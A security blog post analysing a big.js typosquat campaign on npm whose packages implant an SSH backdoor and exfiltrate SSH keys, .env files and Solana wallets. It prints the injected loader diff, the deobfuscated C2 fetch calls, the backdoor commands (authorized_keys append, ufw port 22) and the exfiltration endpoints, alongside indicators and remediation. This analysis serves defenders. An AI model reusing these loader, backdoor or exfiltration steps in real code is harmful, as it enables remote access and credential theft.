---
title: "big.js Typosquat Campaign Implants SSH Backdoors"
description: "Three waves of big.js typosquats (sjs-biginteger, bjs-biginteger, cjs-biginteger) from throwaway npm accounts implant SSH backdoors and exfiltrate credentials to Cloudflare-disguised C2 infrastructure."
url: "https://safedep.io/blog/malicious-sjs-biginteger-npm-ssh-theft"
author: "Kunal Singh"
published: "2026-04-09"
---

# big.js Typosquat Campaign Implants SSH Backdoors

## TL;DR

Three malicious npm packages, `cjs-biginteger`, `sjs-biginteger`, and `bjs-biginteger`, typosquat [big.js](https://github.com/MikeMcl/big.js) across three throwaway accounts: `ca.r.lane.es1.2.6` (~March 20, 2026), `vanes.s.p.orit.a` (April 7), and `a.l.l.a.nh.orca0.7` (~April 9). Each carries a re-obfuscated copy of the same payload. All three inject a five-line loader into `big.js` at line 605 and pull in a malicious dependency (`ts-lint-builds` / `sjs-lint-build1` / `bjs-lint-builder`) whose `postinstall` hook runs the same payload. Either trigger fetches the attacker's SSH public key from a C2 server, appends it to `~/.ssh/authorized_keys`, opens firewall port 22, and then exfiltrates SSH keys, `.env` files, Solana wallet files (`id.json`, `config.toml`), and system fingerprints to two Vercel-hosted C2 domains impersonating Cloudflare.

**Impact:**

- Implants an SSH backdoor by injecting the attacker's public key into `~/.ssh/authorized_keys`
- Opens firewall port 22 via `sudo ufw allow 22/tcp` and enables the firewall
- Runs `sudo chown -R` to fix SSH directory permissions
- Exfiltrates existing SSH keys, `.env` files, `id.json` (Solana wallets), and `config.toml` files
- Harvests environment variables (`USER`, `USERNAME`, `LOGNAME`, `HOME`)
- Fingerprints the system (public IP, platform, CPU info, username)
- Targets Linux, macOS, FreeBSD, OpenBSD, SunOS, AIX, and Windows

**Indicators of Compromise (IoC):**

| Indicator        | Value                                                                                                                                                                                                              |
| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Package          | `sjs-biginteger@5.0.5`, `sjs-biginteger@5.0.6`                                                                                                                                                                     |
| Package          | `bjs-biginteger@5.0.6`                                                                                                                                                                                             |
| Package          | `cjs-biginteger@5.0.5`                                                                                                                                                                                             |
| Dependency       | `sjs-lint-build1@1.0.4`                                                                                                                                                                                            |
| Dependency       | `bjs-lint-builder@1.0.5`, `bjs-lint-builders@1.1.0`                                                                                                                                                                |
| Dependency       | `ts-lint-builds@1.0.5`                                                                                                                                                                                             |
| Maintainer       | `vanes.s.p.orit.a <vanes.s.p.orit.a@googlemail.com>`                                                                                                                                                               |
| Maintainer       | `a.l.l.a.nh.orca0.7`                                                                                                                                                                                               |
| Maintainer       | `ca.r.lane.es1.2.6`                                                                                                                                                                                                |
| C2               | `hxxps://cloudflareinsights[.]vercel[.]app/api/ssh-key`                                                                                                                                                            |
| C2               | `hxxps://cloudflareinsights[.]vercel[.]app/api/scan-patterns`                                                                                                                                                      |
| C2               | `hxxps://cloudflareinsights[.]vercel[.]app/api/block-patterns`                                                                                                                                                     |
| C2               | `hxxps://cloudflareinsights[.]vercel[.]app/api/v1`                                                                                                                                                                 |
| C2               | `hxxps://cloudflarefirewall[.]vercel[.]app/api/v1`                                                                                                                                                                 |
| Postinstall      | `node test.js` (in `ts-lint-builds`, `sjs-lint-build1`, `bjs-lint-builder`)                                                                                                                                        |
| SHA-256          | `55bee3abfa26a78989baae1053a778d3b4a984d5451621a851211a45fe2a82b9` (sjs-biginteger@5.0.5)                                                                                                                          |
| SHA-256          | `02a00a158ceedaaf7a4bf53002a74d60339d4668d463831fe218905816b72e07` (sjs-biginteger@5.0.6)                                                                                                                          |
| SHA-256          | `9d2037fc0ad9ada672d30e17a9496cbde392c5093a9fde0b8f16d28e2e0c50c7` (sjs-lint-build1@1.0.4)                                                                                                                         |
| SHA-256          | `7bff4518f4d49ddf3d04d8167a6f5f17aed9b3703290f65cf71c61ea61f0a7bc` (bjs-biginteger@5.0.6)                                                                                                                          |
| SHA-256          | `aa36d4bee44ee1d35af0e211e8cca957044c782b177787b1181d18d6d6323037` (bjs-lint-builder@1.0.5)                                                                                                                        |
| SHA-256          | `f4914c528cf92a7e97ac3b24138afb86b4cd9db6960d92ffbbff36a1fb90ead9` (bjs-lint-builders@1.1.0)                                                                                                                       |
| SHA-256          | `fc095d3e6a613e27d267d80b448101ef78b02ec07dd3993c734202839015fb54` (cjs-biginteger@5.0.5)                                                                                                                          |
| SHA-256          | `86f60a2196c3d1355efdcfee41f1549c30c6081bf6c106d11e44a64691f8ebd3` (ts-lint-builds@1.0.5)                                                                                                                          |
| Backdoor         | Attacker's SSH key appended to `~/.ssh/authorized_keys`                                                                                                                                                            |
| Firewall         | `sudo ufw allow 22/tcp`, `sudo ufw enable`                                                                                                                                                                         |
| Attacker SSH key | `ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYMx8MqdYTD/aZjqxmXo+9460+9EvsSjfiy9YAU+xwY support@polymarket.com`                                                                                                          |
| Attribution      | Likely linked to the [dev-protocol / Polymarket bot campaign](https://www.stepsecurity.io/blog/malicious-polymarket-bot-hides-in-hijacked-dev-protocol-github-org-and-steals-wallet-keys) (StepSecurity, Feb 2026) |

## Analysis

### Package Overview

Two versions landed on npm within 40 minutes on April 7, 2026: `5.0.5` at 19:32 UTC and `5.0.6` at 20:13 UTC. The publisher `vanes.s.p.orit.a` owns two packages total: `sjs-biginteger` and `sjs-lint-build1`.

The attacker copied `big.js` metadata verbatim: author name (Michael Mclaughlin), repository URL, homepage, bug tracker, and funding links:

```json
// sjs-biginteger/package.json
"author": {
  "name": "Michael Mclaughlin",
  "email": "M8ch88l@gmail.com"
},
"repository": {
  "type": "git",
  "url": "https://github.com/MikeMcl/big.js.git"
}
```

The npm registry shows the real publisher:

```
npm view sjs-biginteger maintainers
# vanes.s.p.orit.a <vanes.s.p.orit.a@googlemail.com>
```

We downloaded `big.js@7.0.1` from the npm registry and diffed it against the malicious file. Past the whitespace and indentation churn (consistent with a formatter pass), only one change is semantic: five lines at line 605 of the top-level IIFE body.

```diff
// diff legit-7.0.1/package/big.js sjs-biginteger-5.0.6/package/big.js
603a605,609
> try {
>   const doc = require("sjs-lint-build1");
>   doc.from_str().then(e => { }).catch(e => { })
> } catch (error) {
> }
```

This injection runs at import time. It gives the attacker a second execution trigger independent of the `postinstall` hook: any application that later does `require("sjs-biginteger")` fires the payload again.

Diffing `sjs-biginteger@5.0.5` against `5.0.6` (`diff -rq v5.0.5/package v5.0.6/package`), `big.js`, `big.mjs`, `LICENCE.md`, and `README.md` are byte-identical across both versions. **Only `package.json` changed:**

```diff
- "sjs-lint-build1": "file:../module-npm-doc-build-v2.1"
+ "sjs-lint-build1": "^1.0.4"
```

`5.0.5` referenced the payload dependency via a local filesystem path (a leftover from the attacker's development environment), so it failed to resolve on any victim machine. `5.0.6`, published 41 minutes later, is the operative version.

### Execution Trigger

`sjs-biginteger` declares a single dependency:

```json
// sjs-biginteger/package.json
"dependencies": {
  "sjs-lint-build1": "^1.0.4"
}
```

`sjs-lint-build1` appeared one minute before `sjs-biginteger`, from the same account. Its `package.json`:

```json
// sjs-lint-build1/package.json
{
  "name": "sjs-lint-build1",
  "version": "1.0.4",
  "main": "index.js",
  "scripts": {
    "postinstall": "node test.js"
  },
  "dependencies": {
    "axios": "^1.7.0",
    "child_process": "^1.0.2",
    "form-data": "^4.0.0",
    "os": "^0.1.2"
  }
}
```

`npm install sjs-biginteger` resolves `sjs-lint-build1`, installs it, and fires the `postinstall` hook: `node test.js`. The 7.2 KB `test.js` imports from `index.js` (58.4 KB) and calls the exported `from_str_2` function:

```javascript
// sjs-lint-build1/test.js (deobfuscated structure)
const { from_str_2 } = require('.');
async function main() {
  try {
    await from_str_2();
  } catch (e) {}
}
main();
```

`index.js` exports two entry points, both triggering the same payload infrastructure with slightly different scopes:

| Export       | Caller                            | Scope                                                     |
| ------------ | --------------------------------- | --------------------------------------------------------- |
| `from_str_2` | `test.js` postinstall             | Broad home-directory scan driven by C2-supplied patterns  |
| `from_str`   | `big.js` IIFE at `require()` time | Targeted scan of `process.cwd()` plus the same broad scan |

The runtime path (`from_str`) adds a pre-step that walks the current working directory for `id.json`, `config.toml`, `Config.toml`, `env`, and `.env` before the broad scan runs. This catches developers who import the package during local development. Whatever project they are working on, its `.env` goes out first.

### Obfuscation

Both files use a custom base91-like string encoding with 35 distinct shuffled alphabets. Each function body embeds its own alphabet and decoder; no single key decodes all strings. The lookup table in `index.js` holds 299 encoded entries resolved through multiple decoder functions at runtime.

Sample obfuscation:

```javascript
// sjs-lint-build1/index.js (original obfuscated form)
const _uFTLb = [0x0, 0x1, 0x8, 0xff, "length", "undefined", ...];
function HRKFas(PzH00eY) {
  var dsvyP2S = "wYUPLTtrOFHDKXAfQZqoWBJlmvM@*$GVa5kb#h+n\"eg7u/2>...";
  // base91 decode using shuffled alphabet
}
```

We replayed the basE91 decoder in Python against the shared lookup table, pairing each call site with the 91-character alphabet nearest to it in source order. About a hundred unique entries decode to meaningful identifiers: URLs, shell commands, property names, file paths. That is enough to reconstruct the full attack surface without running a line of the package.

### Malicious Payload

The payload in `index.js` imports six Node.js modules:

```javascript
// sjs-lint-build1/index.js (extracted require() calls)
require('axios');
require('child_process');
require('form-data');
require('fs');
require('os');
require('path');
```

#### Phase 1: C2 Configuration Fetch

Three parallel `fetch()` requests fire at startup:

```javascript
// sjs-lint-build1/index.js (deobfuscated)
const [r1, r2, r3] = await Promise.all([
  fetch('https://cloudflareinsights.vercel.app/api/ssh-key'),
  fetch('https://cloudflareinsights.vercel.app/api/scan-patterns'),
  fetch('https://cloudflareinsights.vercel.app/api/block-patterns'),
]);
const [{ msg: sshKey }, { scanPatterns }, { blockPatterns }] = await Promise.all([r1.json(), r2.json(), r3.json()]);
```

The `msg` field from `/api/ssh-key` carries the attacker's public SSH key. `scanPatterns` and `blockPatterns` control which directories to enumerate and which to skip. The payload fetches this configuration from C2 at runtime, so the attacker can retarget victims without republishing the package. A new exfiltration pattern takes effect on the next install.

During analysis on 2026-04-09 the endpoint was live and returned:

```json
{ "msg": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFYMx8MqdYTD/aZjqxmXo+9460+9EvsSjfiy9YAU+xwY support@polymarket.com" }
```

The key comment `support@polymarket.com` is deliberate social engineering. A Solana developer inspecting `~/.ssh/authorized_keys` during a routine audit may mistake it for a Polymarket support integration and leave it in place. That is the profile the operator wants.

#### Phase 2: SSH Backdoor Implantation

The payload checks for `~/.ssh`, creates it if missing, and appends the attacker's key to `authorized_keys`:

```
// Decoded strings from index.js showing SSH backdoor logic
[0x9b]  HOME
[0x9c]  /.ssh
[0x9d]  existsSync
[0x9e]  mkdirSync
[0x9f]  mode
[0xa2]  authorized_keys
[0xa6]  appendFileSync
[0xa7]  sudo chown -R
[0xa8]  sudo ufw enable
[0xab]  sudo ufw allow 22/tcp
```

The code path:

1. Read `process.env.HOME` and append `/.ssh`
2. Create the directory with `fs.mkdirSync` if it doesn't exist (with appropriate mode)
3. Append the attacker's SSH key (fetched from C2) to `authorized_keys` via `fs.appendFileSync`
4. Run `sudo chown -R` to fix ownership of the SSH directory
5. Run `sudo ufw allow 22/tcp` to open the SSH port through the firewall
6. Run `sudo ufw enable` to activate the firewall rules

CI/CD environments and Docker containers run as root or with passwordless sudo. If those `sudo` calls succeed, the attacker has persistent SSH access.

#### Phase 3: Data Collection

The payload branches on `process.platform`, covering six Unix variants (`linux`, `darwin`, `freebsd`, `openbsd`, `sunos`, `aix`) and Windows:

```
// Windows-specific decoded strings
[0x84]  wmic logicaldisk get name
[0x8b]  ^[A-Z]:$
[0x90]  C:\Users\
```

On Windows, `wmic logicaldisk get name` enumerates drives, then the payload walks `C:\Users\` for credential files. On Unix, `os.homedir()` sets the starting point.

Targeted files:

| Target             | Decoded String                         |
| ------------------ | -------------------------------------- |
| SSH keys           | `/.ssh` directory contents             |
| Environment files  | `.env`                                 |
| Solana wallet      | `id.json`                              |
| Application config | `config.toml`, `Config.toml`           |
| Env variables      | `USER`, `USERNAME`, `LOGNAME`, `HOME`  |
| System info        | `os.homedir()`, `os.cpus()`, public IP |

The payload walks directories with `fs.readdirSync` (`withFileTypes`) and `path.join`, following the `scanPatterns` and `blockPatterns` from the C2.

#### Phase 4: Exfiltration

The payload uploads collected files via `axios.post` to two endpoints:

```
// Decoded exfiltration strings
[0xc4]  basename
[0xc5]  file.bin
[0xc6]  post
[0xc8]  Content-Type
[0xc9]  application/octet-stream
[0xca]  Content-Disposition
[0xcb]  attachment; filename="
[0xd7]  https://cloudflarefirewall.vercel.app/api/v1
[0x124] https://cloudflareinsights.vercel.app/api/v1
```

Each file goes out as binary `application/octet-stream` with a `Content-Disposition` header. Each upload also carries a metadata block:

```
// Exfiltration metadata fields
[0xf8]  username
[0x100] created
[0x101] publicIp
[0x102] platform
[0xff]  stringify
[0xfe]  meta
```

The payload JSON-serializes the username, public IP, platform, and a timestamp, then attaches that block to every upload. Two C2 domains give the attacker redundancy: `cloudflareinsights[.]vercel[.]app` and `cloudflarefirewall[.]vercel[.]app`.

### C2 Infrastructure

Two Vercel-hosted domains, both named to pass casual inspection of network logs:

| Domain                              | Role                                                                                                                   |
| ----------------------------------- | ---------------------------------------------------------------------------------------------------------------------- |
| `cloudflareinsights[.]vercel[.]app` | Configuration delivery (`/api/ssh-key`, `/api/scan-patterns`, `/api/block-patterns`) and data exfiltration (`/api/v1`) |
| `cloudflarefirewall[.]vercel[.]app` | Secondary exfiltration endpoint (`/api/v1`)                                                                            |

Vercel's free tier requires no identity verification, making it a common choice for throwaway C2 infrastructure. The `cloudflareinsights` and `cloudflarefirewall` names mimic legitimate Cloudflare products.

### Attribution

The `sjs-biginteger` behaviour overlaps heavily with the dev-protocol / Polymarket trading bot supply chain attack that StepSecurity [documented on 2026-02-26](https://www.stepsecurity.io/blog/malicious-polymarket-bot-hides-in-hijacked-dev-protocol-github-org-and-steals-wallet-keys). The indicators below point to a follow-on wave run by the same operator or a close collaborator. Static artefacts alone cannot prove operator identity.

| Indicator             | This campaign (`sjs-biginteger`, 2026-04-07)                                      | StepSecurity wave (2026-02-26)                                            |
| --------------------- | --------------------------------------------------------------------------------- | ------------------------------------------------------------------------- |
| Typosquat target      | `big.js`                                                                          | `big.js` (`ts-bign`), `bignumber.js` (`big-nunber`)                       |
| Dropper → payload     | `sjs-biginteger` → `sjs-lint-build1`                                              | `ts-bign` → `lint-builder`, `big-nunber` → `levex-refa`                   |
| Execution trigger     | `postinstall: node test.js`                                                       | `postinstall: node test.js`                                               |
| Entry export          | `from_str()`                                                                      | `from_str()`                                                              |
| SSH backdoor sequence | `sudo chown -R`, `sudo ufw enable`, `sudo ufw allow 22/tcp`                       | Identical                                                                 |
| Targeted files        | `id.json`, `config.toml`, `Config.toml`, `.env`, `env`                            | `id.json`, `config.toml`, `Config.toml`, `.env`, `*.env`                  |
| Commander C2          | `cloudflareinsights[.]vercel[.]app/api/{v1,scan-patterns,block-patterns,ssh-key}` | `cloudflareinsights[.]vercel[.]app/api/{v1,scan-patterns,block-patterns}` |
| File-exfil C2         | `cloudflarefirewall[.]vercel[.]app/api/v1`                                        | `cloudflareguard[.]vercel[.]app/api/v1`                                   |
| Exfil metadata        | `username` prepended to file                                                      | `username@localIP` prepended to file                                      |
| Persona               | `support@polymarket.com` in attacker SSH key comment                              | Delivered via "Polymarket copytrading bot" GitHub repos                   |

The commander host `cloudflareinsights[.]vercel[.]app` is **reused byte-for-byte** across both waves, and every endpoint path (`/api/v1`, `/api/scan-patterns`, `/api/block-patterns`) matches. The file-exfil hostname rotated (`cloudflareguard` → `cloudflarefirewall`) but kept the same naming pattern: a Vercel subdomain impersonating a Cloudflare product.

Two things changed between waves:

1. **Delivery vector**. The February wave was seeded through the hijacked `dev-protocol` GitHub organisation; this one is a direct npm typosquat published by a throwaway account. This fits a predictable evolution: after a vector burns, switch channels but keep the payload.
2. **Obfuscator**. The February samples used a J2TEAM-style obfuscator; `sjs-lint-build1` uses a scope-nested basE91 scheme with 35 distinct alphabets in `index.js`, each scoped to its own function body. This likely evades signatures trained on the earlier samples.

The `sjs-lint-build1` package name is also notable: it echoes the earlier `lint-builder` payload name. Package naming is not being randomised between waves — the operator appears to be iterating on a convention.

**Hunting pivot.** Any package that contacts `cloudflareinsights[.]vercel[.]app` should be treated as part of this cluster regardless of its npm metadata. The `support@polymarket.com` SSH key comment is a durable host-based IoC worth alerting on across Solana developer fleets.

### Parallel Wave: `bjs-*`

A second wave surfaced approximately two days after the `sjs-*` packages from a different throwaway account: `a.l.l.a.nh.orca0.7`. The pattern is identical: `bjs-biginteger@5.0.6` typosquats `big.js` and pulls in `bjs-lint-builder@1.0.5`.

The dropper `package.json` copies the same `big.js` metadata verbatim (author, repository, version `5.0.6`, `^1.0.4` dependency range). The `big.js` injection at line 606 is byte-identical except for the dependency name:

```diff
// diff sjs-biginteger-5.0.6/big.js bjs-biginteger-5.0.6/big.js
606c606
<     const doc = require("sjs-lint-build1");
---
>     const doc = require("bjs-lint-builder");
```

The payload packages (`bjs-lint-builder@1.0.5` and `bjs-lint-builders@1.1.0`) declare the same four dependencies (`axios`, `child_process`, `form-data`, `os`) and fire the same `postinstall: node test.js` hook. Both payload packages are byte-identical: same `index.js` (63,658 bytes), same `test.js`. Publishing two copies of the payload gives the attacker a fallback if one gets taken down.

The payload itself was re-obfuscated. Variable names, encoded string tables, and basE91 alphabets differ from the `sjs-*` versions. The `index.js` grew from 58.4 KB to 63.6 KB. But the structure is unchanged: scope-nested basE91 decoding, the same `from_str` / `from_str_2` export convention, and the same `require(".")` resolution in `test.js`.

| Property                | `sjs-*` wave                                | `bjs-*` wave                                |
| ----------------------- | ------------------------------------------- | ------------------------------------------- |
| Dropper version         | `5.0.6`                                     | `5.0.6`                                     |
| big.js injection        | Line 606, `require("sjs-lint-build1")`      | Line 606, `require("bjs-lint-builder")`     |
| Export called           | `doc.from_str()`                            | `doc.from_str()`                            |
| Payload deps            | `axios`, `child_process`, `form-data`, `os` | Identical                                   |
| Postinstall             | `node test.js`                              | `node test.js`                              |
| Payload size (index.js) | 58,387 bytes                                | 63,658 bytes                                |
| Encoded string count    | ~433                                        | ~405                                        |
| Publisher               | `vanes.s.p.orit.a`                          | `a.l.l.a.nh.orca0.7`                        |
| Payload copies          | 1 (`sjs-lint-build1`)                       | 2 (`bjs-lint-builder`, `bjs-lint-builders`) |

The account naming pattern (dotted strings resembling obfuscated names) and the package naming convention (`[prefix]-biginteger` → `[prefix]-lint-build*`) are consistent across both waves. The operator is rotating publisher accounts while reusing the same toolchain.

### Earlier Wave: `cjs-*`

A third wave predates both `sjs-*` and `bjs-*`. Account `ca.r.lane.es1.2.6` published `cjs-biginteger@5.0.5` and its payload dependency `ts-lint-builds@1.0.5` approximately March 20, 2026, roughly two weeks before the `sjs-*` packages.

The dropper is structurally identical: same `big.js` metadata spoofing, same five-line injection at line 606 calling `doc.from_str()`, same `postinstall: node test.js` hook, same four payload dependencies (`axios`, `child_process`, `form-data`, `os`). The only `big.js` diff:

```diff
// diff sjs-biginteger-5.0.6/big.js cjs-biginteger-5.0.5/big.js
606c606
<     const doc = require("sjs-lint-build1");
---
>     const doc = require("ts-lint-builds");
```

Two differences stand out from the later waves:

**Different obfuscator.** The `sjs-*` and `bjs-*` payloads use a basE91 scheme with scope-nested alphabets. The `cjs-*` payload uses a `Function()` constructor wrapper with generator functions (`function*`) and switch/while control-flow flattening. The `index.js` is 189 KB (vs 58-64 KB for the later waves), `test.js` is 27 KB (vs ~7 KB), and the encoded string table holds 712 entries (vs 405-433). This is consistent with an obfuscator rotation between waves.

**Payload name breaks the prefix convention.** `cjs-biginteger` depends on `ts-lint-builds`, not `cjs-lint-build*`. The later waves tightened the naming: `sjs-biginteger` → `sjs-lint-build1`, `bjs-biginteger` → `bjs-lint-builder`. The operator refined the pattern after the first wave.

| Property                | `cjs-*` wave (~Mar 20)              | `sjs-*` wave (Apr 7)           | `bjs-*` wave (~Apr 9)          |
| ----------------------- | ----------------------------------- | ------------------------------ | ------------------------------ |
| Dropper version         | `5.0.5`                             | `5.0.6`                        | `5.0.6`                        |
| Payload dependency      | `ts-lint-builds`                    | `sjs-lint-build1`              | `bjs-lint-builder`             |
| Obfuscator              | Generator + control-flow flattening | basE91, scope-nested alphabets | basE91, scope-nested alphabets |
| Payload size (index.js) | 189,399 bytes                       | 58,387 bytes                   | 63,658 bytes                   |
| Encoded string count    | ~712                                | ~433                           | ~405                           |
| Publisher               | `ca.r.lane.es1.2.6`                 | `vanes.s.p.orit.a`             | `a.l.l.a.nh.orca0.7`           |

The progression from `cjs-*` to `sjs-*`/`bjs-*` shows an operator iterating on their toolchain: switching obfuscators, shrinking payload size, and standardizing package naming conventions across waves.

### Dynamic Analysis

We run [eBPF-based dynamic analysis](https://safedep.io/dynamic-analysis-oss-package-at-scale/) during sandboxed `npm install`, capturing syscall events and network connections. Sandbox execution of `sjs-biginteger@5.0.6` confirmed both behaviors found in static analysis.

#### Syscall Events

Two rules triggered during the `postinstall` hook. The process chain `sh -c node test.js` matches the `sjs-lint-build1` postinstall script, running as root inside the sandbox container:

[sjs-biginteger-dynamic-analysis-events.csv](https://safedep.io/data/blogs/sjs-biginteger-dynamic-analysis-events.csv)

**"Adding ssh keys to authorized_keys"** fired at `20:21:47 UTC` when `node test.js` opened `/root/.ssh/authorized_keys` via the `openat` syscall, confirming the `appendFileSync` call found in static analysis. **"Read ssh information"** fired 23 milliseconds later when the same process read the `/root/.ssh` directory for exfiltration.

Note the ordering: the payload writes the attacker's key first, then reads existing keys. Backdoor before exfiltration.

#### Network Connections

The sandbox captured all outbound IP connections during the `npm install` lifecycle, including legitimate npm registry traffic alongside malicious C2 communication:

[sjs-biginteger-ip-address-capture.csv](https://safedep.io/data/blogs/sjs-biginteger-ip-address-capture.csv)

This table contains all connections during install, not just malicious traffic. npm registry resolution, DNS lookups, and package downloads generate their own connections. The `104.16.x.34` range belongs to Cloudflare, which fronts both Vercel (the C2 host) and the npm registry (`registry.npmjs.org`). Separating C2 traffic from legitimate npm traffic by IP alone is not possible since both route through Cloudflare. The `64.29.17.x` and `216.198.79.x` addresses could be DNS resolvers or additional CDN edges.

The network data does show that the install made HTTPS connections (port 443) to Cloudflare-fronted services beyond what a normal `big.js` install requires. A package with zero runtime network dependencies generating 15+ outbound HTTPS connections stands out. Combined with the syscall events showing SSH file access, the connection volume matches the multi-phase attack: configuration fetch, file collection, upload.

## Conclusion

The `authorized_keys` injection, firewall manipulation, and ownership changes establish persistent remote access that survives credential rotation unless you remove the injected key. If you installed this package:

1. Check `~/.ssh/authorized_keys` for unrecognized keys and remove them
2. Review firewall rules for unexpected port 22 allowances
3. Rotate all SSH keys and credentials stored in `.env`, `id.json`, and `config.toml` files
4. Audit CI/CD systems where the package may have been installed with elevated privileges

## References

- [sjs-biginteger on npm](https://www.npmjs.com/package/sjs-biginteger)
- [sjs-lint-build1 on npm](https://www.npmjs.com/package/sjs-lint-build1)
- [bjs-biginteger on npm](https://www.npmjs.com/package/bjs-biginteger)
- [bjs-lint-builder on npm](https://www.npmjs.com/package/bjs-lint-builder)
- [bjs-lint-builders on npm](https://www.npmjs.com/package/bjs-lint-builders)
- [cjs-biginteger on npm](https://www.npmjs.com/package/cjs-biginteger)
- [ts-lint-builds on npm](https://www.npmjs.com/package/ts-lint-builds)
- [big.js (legitimate package)](https://github.com/MikeMcl/big.js)
